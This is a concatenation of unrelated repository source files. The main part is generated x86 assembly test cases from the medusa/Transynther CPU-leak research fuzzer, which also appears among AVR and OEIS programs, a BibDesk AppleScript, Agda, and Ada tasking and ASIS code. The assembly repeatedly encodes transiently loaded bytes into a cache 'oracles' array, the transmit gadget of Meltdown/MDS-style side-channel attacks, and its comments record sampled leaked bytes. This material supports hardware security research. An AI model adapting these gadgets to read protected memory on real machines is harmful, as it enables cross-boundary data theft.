movups %xmm4, (%rdi)
nop
nop
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x119d, %rsi
lea addresses_D_ht+0xe5dd, %rdi
nop
nop
nop
nop
nop
xor %r14, %r14
mov $2, %rcx
rep movsw
dec %r11
lea addresses_WC_ht+0xd033, %rdx
xor %rsi, %rsi
movw $0x6162, (%rdx)
xor %r14, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r8
push %rsi
// Load
lea addresses_US+0x1119d, %rsi
nop
inc %r12
movb (%rsi), %r8b
and %r10, %r10
// Store
lea addresses_normal+0xa59d, %r13
cmp $46103, %r10
mov $0x5152535455565758, %r11
movq %r11, %xmm5
movups %xmm5, (%r13)
and %r8, %r8
// Store
lea addresses_UC+0x3c3d, %r12
nop
nop
nop
sub $22202, %r10
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
vmovups %ymm2, (%r12)
nop
nop
nop
add $50154, %r10
// Faulty Load
lea addresses_PSE+0x1199d, %r12
nop
nop
nop
cmp $32614, %rsi
vmovups (%r12), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r10
lea oracles, %r13
and $0xff, %r10
shlq $12, %r10
mov (%r13,%r10,1), %r10
pop %rsi
pop %r8
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_US', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
Transynther/x86/_processed/NC/_st_zr_un_4k_sm_/i3-7100_9_0xca_notsx.log_102_344.asm | ljhsiun2/medusa | 9 | 92143 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xcdd4, %rsi
lea addresses_WT_ht+0x6594, %rdi
nop
nop
nop
sub %r9, %r9
mov $79, %rcx
rep movsw
nop
nop
nop
cmp $13142, %rax
lea addresses_WC_ht+0x19fd4, %rdi
nop
nop
nop
nop
nop
xor %r13, %r13
movb $0x61, (%rdi)
nop
cmp %rcx, %rcx
lea addresses_WC_ht+0xe3d4, %rsi
lea addresses_WC_ht+0xf98a, %rdi
nop
nop
nop
and $63053, %rax
mov $8, %rcx
rep movsl
nop
nop
xor $878, %r9
lea addresses_normal_ht+0x163d4, %rsi
lea addresses_A_ht+0x119d4, %rdi
cmp %r14, %r14
mov $19, %rcx
rep movsl
nop
nop
nop
nop
xor $20321, %rax
lea addresses_normal_ht+0x1b38a, %r14
nop
inc %rdi
mov $0x6162636465666768, %rcx
movq %rcx, (%r14)
nop
sub %rdi, %rdi
lea addresses_WT_ht+0x12254, %rsi
lea addresses_WC_ht+0xa8fc, %rdi
sub $40015, %r13
mov $77, %rcx
rep movsb
nop
nop
nop
nop
dec %r14
lea addresses_normal_ht+0x10f74, %rsi
lea addresses_D_ht+0x268c, %rdi
nop
nop
nop
add $20048, %r13
mov $24, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $36556, %r13
lea addresses_UC_ht+0x8c6b, %rsi
lea addresses_normal_ht+0x1fd4, %rdi
nop
nop
xor $25050, %r15
mov $83, %rcx
rep movsl
nop
sub %r14, %r14
lea addresses_D_ht+0x12f14, %rsi
lea addresses_A_ht+0x3254, %rdi
nop
nop
nop
and $39327, %rax
mov $127, %rcx
rep movsb
nop
nop
nop
nop
and %r9, %r9
lea addresses_A_ht+0x190f0, %rsi
lea addresses_A_ht+0xff44, %rdi
dec %r14
mov $15, %rcx
rep movsw
nop
nop
nop
xor $63372, %rax
lea addresses_WC_ht+0x67d4, %rsi
lea addresses_normal_ht+0x98d4, %rdi
nop
nop
nop
xor $56760, %r15
mov $63, %rcx
rep movsl
nop
nop
nop
nop
nop
add $10069, %r9
lea addresses_WT_ht+0xec86, %rsi
lea addresses_D_ht+0xc5d4, %rdi
nop
nop
nop
nop
nop
xor %r13, %r13
mov $0, %rcx
rep movsq
nop
nop
and %r9, %r9
lea addresses_D_ht+0x11a14, %rcx
nop
add %rax, %rax
movups (%rcx), %xmm0
vpextrq $1, %xmm0, %r14
nop
nop
nop
cmp $21971, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r9
push %rax
push %rbp
push %rcx
// Store
mov $0x63dc2100000007d4, %r13
nop
nop
nop
nop
nop
add $31604, %rax
movl $0x51525354, (%r13)
nop
nop
nop
nop
and %rax, %rax
// Load
lea addresses_A+0x11e, %r10
nop
xor $57687, %rcx
mov (%r10), %r11w
nop
nop
nop
nop
inc %r11
// Store
lea addresses_RW+0x5e14, %r10
nop
nop
nop
nop
cmp %rax, %rax
movw $0x5152, (%r10)
nop
nop
nop
xor $62394, %r9
// Store
mov $0x63d8ab0000000214, %r11
nop
nop
nop
nop
nop
cmp %r13, %r13
movb $0x51, (%r11)
nop
nop
add $27403, %r11
// Store
lea addresses_normal+0x18fd4, %r13
nop
nop
nop
nop
and %rcx, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm3
movntdq %xmm3, (%r13)
nop
nop
xor $29361, %r10
// Faulty Load
mov $0x63dc2100000007d4, %r11
nop
nop
nop
nop
nop
inc %r10
mov (%r11), %r9d
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_NC', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'d6': 1, '00': 8, '54': 93}
d6 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 00 54 54 54 54 54 54 54 54 54 00 00 54 54
*/
|
programs/oeis/337/A337509.asm | neoneye/loda | 22 | 179659 | ; A337509: Number of partitions of n into two distinct parts (s,t), such that (t-s) | n, and where n/(t-s) <= s < t.
; 0,0,0,0,0,0,0,1,1,0,0,2,0,0,2,2,0,1,0,2,2,0,0,4,1,0,2,2,0,2,0,3,2,0,2,4,0,0,2,4,0,2,0,2,4,0,0,6,1,1,2,2,0,2,2,4,2,0,0,6,0,0,4,4,2,2,0,2,2,2,0,7,0,0,4,2,2,2,0,6,3,0,0,6,2,0,2,4,0,4,2,2,2,0,2,8
add $0,1
dif $0,2
seq $0,32741 ; a(0) = 0; for n > 0, a(n) = number of proper divisors of n (divisors of n which are less than n).
trn $0,1
|
oeis/000/A000283.asm | neoneye/loda-programs | 11 | 164518 | <filename>oeis/000/A000283.asm
; A000283: a(n) = a(n-1)^2 + a(n-2)^2 for n >= 2 with a(0) = 0 and a(1) = 1.
; Submitted by <NAME>
; 0,1,1,2,5,29,866,750797,563696885165,317754178345286893212434,100967717855888389973004846476977145423449281581,10194480049026283217304918048014173896648364893423729827027757691338371521645025362165278063917,103927423469994929869877727987632937260736008668167913201776816265832125213002314437790795017538298586013777012599746360188432525252585473556877092856684242182874512551683190881616963242450
mov $3,1
lpb $0
sub $0,1
mov $2,$3
pow $4,2
mov $3,$4
add $4,$2
lpe
mov $0,$4
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_2_612.asm | ljhsiun2/medusa | 9 | 14324 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x144eb, %rbx
nop
nop
nop
nop
nop
xor %r13, %r13
mov (%rbx), %r10d
nop
nop
nop
and %r8, %r8
lea addresses_WC_ht+0x124a3, %rsi
lea addresses_A_ht+0x1211d, %rdi
dec %r9
mov $69, %rcx
rep movsw
xor %r10, %r10
lea addresses_D_ht+0x1dceb, %r13
nop
xor $34422, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
and $0xffffffffffffffc0, %r13
vmovntdq %ymm4, (%r13)
nop
nop
nop
inc %r8
lea addresses_UC_ht+0xa7f1, %rsi
nop
dec %rdi
mov $0x6162636465666768, %r10
movq %r10, %xmm1
movups %xmm1, (%rsi)
nop
dec %r13
lea addresses_normal_ht+0x3f0b, %rdi
nop
nop
and $19010, %rcx
movw $0x6162, (%rdi)
sub $59297, %rdi
lea addresses_D_ht+0x106b, %rsi
lea addresses_UC_ht+0xd6eb, %rdi
nop
nop
nop
nop
add %r10, %r10
mov $0, %rcx
rep movsq
nop
dec %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_WT+0x180eb, %rsi
lea addresses_A+0x792b, %rdi
clflush (%rsi)
nop
nop
nop
nop
xor %r12, %r12
mov $39, %rcx
rep movsq
nop
nop
nop
nop
xor %rcx, %rcx
// Load
lea addresses_UC+0x13303, %rcx
nop
nop
nop
nop
inc %rdx
movups (%rcx), %xmm0
vpextrq $0, %xmm0, %r11
xor $49800, %rdi
// Store
lea addresses_UC+0x130eb, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
movb $0x51, (%rdi)
sub $49423, %rdi
// Load
mov $0x42b, %rdx
nop
xor $28314, %r11
mov (%rdx), %r12
nop
nop
nop
and %rdx, %rdx
// Store
lea addresses_WT+0x74eb, %rdi
dec %r11
movw $0x5152, (%rdi)
nop
nop
nop
inc %rdx
// Faulty Load
lea addresses_WT+0x74eb, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
xor $37957, %rsi
vmovaps (%rdx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rcx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'00': 2}
00 00
*/
|
Fill according to DOI/Fill according to DOI.applescript | SupposeNot/BibDeskAppleScripts | 16 | 1644 | use BibDesk : application "BibDesk"
use scripting additions
tell BibDesk
set theDoc to get first document
set originalPub to selection of theDoc
set originalPub to item 1 of originalPub
set theDoi to value of originalPub's field "DOI"
if theDoi = "" then
display notification "There is no DOI there."
return
end if
set tempPub to (import theDoc from theDoi)
if length of tempPub = 1 then
set tempPub to item 1 of tempPub
else
display notification "Umm, I didn't find anything at that DOI. Bummer."
return
end if
set theNewFields to every field of tempPub
repeat with theField in every field of tempPub
set fieldName to name of theField
set value of field fieldName of originalPub to (get value of field fieldName of tempPub)
end repeat
delete tempPub
set originalPub's cite key to originalPub's generated cite key
if linked file of originalPub is not {} then auto file originalPub
select originalPub -- So it appears nicely at the top of the window
end tell
|
test/succeed/OpBind.agda | asr/agda-kanso | 1 | 11506 | <filename>test/succeed/OpBind.agda
module OpBind where
postulate _∘_ : Set -> Set -> Set
Homomorphic₀ : Set → Set
Homomorphic₀ ∘ = ∘
|
2A/S7/SysConc/TP/TP6/lr-synchro-equitable.adb | MOUDDENEHamza/ENSEEIHT | 4 | 19434 | <filename>2A/S7/SysConc/TP/TP6/lr-synchro-equitable.adb
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Exceptions;
-- Equitable
package body LR.Synchro.Equitable is
function Nom_Strategie return String is
begin
return "Stratègie equitable";
end Nom_Strategie;
task LectRedTask is
entry Demander_Lecture;
entry Demander_Ecriture;
entry Terminer_Lecture;
entry Terminer_Ecriture;
end LectRedTask;
task body LectRedTask is
type EtatType is (libre_prio_lect, libre_prio_rect, lecture_prio_lect, lecture_prio_rect, ecriture);
etat : EtatType := libre_prio_lect;
nbL : Natural := 0;
begin
loop
-- ETAT LIBRE_PRIO_LECT
if etat = libre_prio_lect then
select
accept Demander_Lecture ;
etat := lecture_prio_lect;
nbL := 1;
or
when Demander_Ecriture'count = 0 => accept Demander_Ecriture ;
etat := ecriture;
or
terminate;
end select;
-- ETAT LIBRE_PRIO_RECT
elsif etat = libre_prio_rect then
select
when Demander_Ecriture'count = 0 => accept Demander_Lecture ;
etat := lecture_prio_rect;
nbL := 1;
or
accept Demander_Ecriture ;
etat := ecriture;
or
terminate;
end select;
-- ETAT LECTURE_PRIO_LECT
elsif etat = lecture_prio_lect then
select
accept Demander_Lecture;
nbL := nbL +1;
or
accept Terminer_Lecture;
nbL := nbL -1;
if nbL = 0 then
etat := libre_prio_rect;
else
etat := lecture_prio_rect;
end if;
end select;
-- ETAT LECTURE_PRIO_RECT
elsif etat = lecture_prio_rect then
select
when Demander_Ecriture'count = 0 => accept Demander_Lecture;
nbL := nbL +1;
or
accept Terminer_Lecture;
nbL := nbL -1;
if nbL = 0 then
etat := libre_prio_rect;
else
etat := lecture_prio_rect;
end if;
end select;
-- ETAT ECRITURE
elsif etat = ecriture then
select
accept Terminer_Ecriture;
etat := libre_prio_lect;
end select;
end if;
end loop;
exception
when Error: others =>
Put_Line("**** LectRedTask: exception: " & Ada.Exceptions.Exception_Information(Error));
end LectRedTask;
procedure Demander_Lecture is
begin
LectRedTask.Demander_Lecture;
end Demander_Lecture;
procedure Demander_Ecriture is
begin
LectRedTask.Demander_Ecriture;
end Demander_Ecriture;
procedure Terminer_Lecture is
begin
LectRedTask.Terminer_Lecture;
end Terminer_Lecture;
procedure Terminer_Ecriture is
begin
LectRedTask.Terminer_Ecriture;
end Terminer_Ecriture;
end LR.Synchro.Equitable;
|
programs/oeis/302/A302588.asm | neoneye/loda | 22 | 1774 | ; A302588: a(n) = a(n-3) + 7*(n-2), a(0)=1, a(1)=2, a(2)=4.
; 1,2,4,8,16,25,36,51,67,85,107,130,155,184,214,246,282,319,358,401,445,491,541,592,645,702,760,820,884,949,1016,1087,1159,1233,1311,1390,1471,1556,1642,1730,1822,1915,2010
lpb $0
mov $2,$0
sub $0,1
seq $2,10410 ; Squares mod 49.
add $1,$2
lpe
add $1,1
mov $0,$1
|
src/u2/p8.asm | luishendrix92/lenguajezinterfaz | 0 | 16048 | <filename>src/u2/p8.asm<gh_stars>0
; 8 - Imprimir 5 veces una frase cualquiera
; <NAME>
; 15211312
; 02 de Octubre del 2018
.Model small
.Stack 64
.Data
frase db "Casi repruebo la unidad uno :)", 10, 13, "$"
.Code
mov ax,@Data
mov ds,ax
mov cx,5
ciclofrase:
lea dx,frase
mov ah,09h
int 21h
loop ciclofrase
.Exit
end
|
alloy4fun_models/trashltl/models/7/BpvdtQDx8q8oHuRyi.als | Kaixi26/org.alloytools.alloy | 0 | 710 | open main
pred idBpvdtQDx8q8oHuRyi_prop8 {
eventually all f:File | f.link in Trash
}
pred __repair { idBpvdtQDx8q8oHuRyi_prop8 }
check __repair { idBpvdtQDx8q8oHuRyi_prop8 <=> prop8o } |
Ada/inc/Problem_26.ads | Tim-Tom/project-euler | 0 | 17916 | package Problem_26 is
procedure Solve;
end Problem_26;
|
src/asis/asis-limited_views.adb | My-Colaborations/dynamo | 15 | 2477 | ------------------------------------------------------------------------------
-- --
-- ASIS-for-GNAT INTERFACE COMPONENTS --
-- --
-- A S I S . L I M I T E D _ V I E W S --
-- --
-- B o d y --
-- --
-- Copyright (C) 2010-2011, Free Software Foundation, Inc. --
-- --
-- This specification is added to be used together with the Ada Semantic --
-- Interface Specification Standard (ISO/IEC 15291) for use with GNAT. -- --
-- --
-- ASIS-for-GNAT is free software; you can redistribute it and/or modify it --
-- under terms of the GNU General Public License as published by the Free --
-- Software Foundation; either version 2, or (at your option) any later --
-- version. ASIS-for-GNAT is distributed in the hope that it will be use- --
-- ful, but WITHOUT ANY WARRANTY; without even the implied warranty of MER- --
-- CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General --
-- Public License for more details. You should have received a copy of the --
-- GNU General Public License distributed with ASIS-for-GNAT; see file --
-- COPYING. If not, write to the Free Software Foundation, 51 Franklin --
-- Street, Fifth Floor, Boston, MA 02110-1301, USA. --
-- --
-- --
-- --
-- --
-- --
-- --
-- --
-- --
-- ASIS-for-GNAT was originally developed by the ASIS-for-GNAT team at the --
-- Software Engineering Laboratory of the Swiss Federal Institute of --
-- Technology (LGL-EPFL) in Lausanne, Switzerland, in cooperation with the --
-- Scientific Research Computer Center of Moscow State University (SRCC --
-- MSU), Russia, with funding partially provided by grants from the Swiss --
-- National Science Foundation and the Swiss Academy of Engineering --
-- Sciences. ASIS-for-GNAT is now maintained by AdaCore --
-- (http://www.adacore.com). --
-- --
------------------------------------------------------------------------------
with Asis.Compilation_Units; use Asis.Compilation_Units;
with Asis.Elements; use Asis.Elements;
with Asis.Errors; use Asis.Errors;
with Asis.Exceptions; use Asis.Exceptions;
with Asis.Set_Get; use Asis.Set_Get;
with A4G.Asis_Tables;
with A4G.Contt.TT;
with A4G.Contt.UT;
with A4G.Mapping; use A4G.Mapping;
with A4G.Vcheck; use A4G.Vcheck;
with Atree; use Atree;
with Nlists; use Nlists;
with Sinfo; use Sinfo;
package body Asis.Limited_Views is
Package_Name : constant String := "Asis.Limited_Views.";
-------------------------
-- Get_Nonlimited_View --
-------------------------
function Get_Nonlimited_View (D : Asis.Element) return Asis.Element is
Encl_Unit : Asis.Compilation_Unit;
Arg_Node : Node_Id;
Res_Node : Node_Id;
Def_Name_Case : constant Boolean := Element_Kind (D) = A_Defining_Name;
begin
if not Is_From_Limited_View (D) then
Raise_ASIS_Inappropriate_Element
(Package_Name &
"Is_From_Limited_View (non-limited view as actual)",
Wrong_Kind => Int_Kind (D));
end if;
Encl_Unit := Enclosing_Compilation_Unit (D);
if Has_Limited_View_Only (Encl_Unit) then
return Nil_Element;
end if;
Arg_Node := Node (D);
if Def_Name_Case then
while not (Is_List_Member (Arg_Node)
or else
Nkind (Arg_Node) = N_Package_Declaration)
loop
Arg_Node := Parent (Arg_Node);
end loop;
end if;
A4G.Asis_Tables.Create_Node_Trace (Arg_Node);
A4G.Contt.TT.Reset_Tree_For_Unit (Encl_Unit);
Res_Node := A4G.Contt.TT.Restore_Node_From_Trace (CU => Encl_Unit);
if Def_Name_Case then
if Nkind (Res_Node) = N_Package_Declaration then
if Is_List_Member (Res_Node) then
Res_Node := Defining_Unit_Name (Sinfo.Specification (Res_Node));
else
Res_Node := Defining_Identifier (Res_Node);
end if;
end if;
end if;
return Node_To_Element_New
(Node => Res_Node,
In_Unit => Encl_Unit);
exception
when ASIS_Inappropriate_Element =>
raise;
when ASIS_Failed =>
if Status_Indicator = Unhandled_Exception_Error then
Add_Call_Information
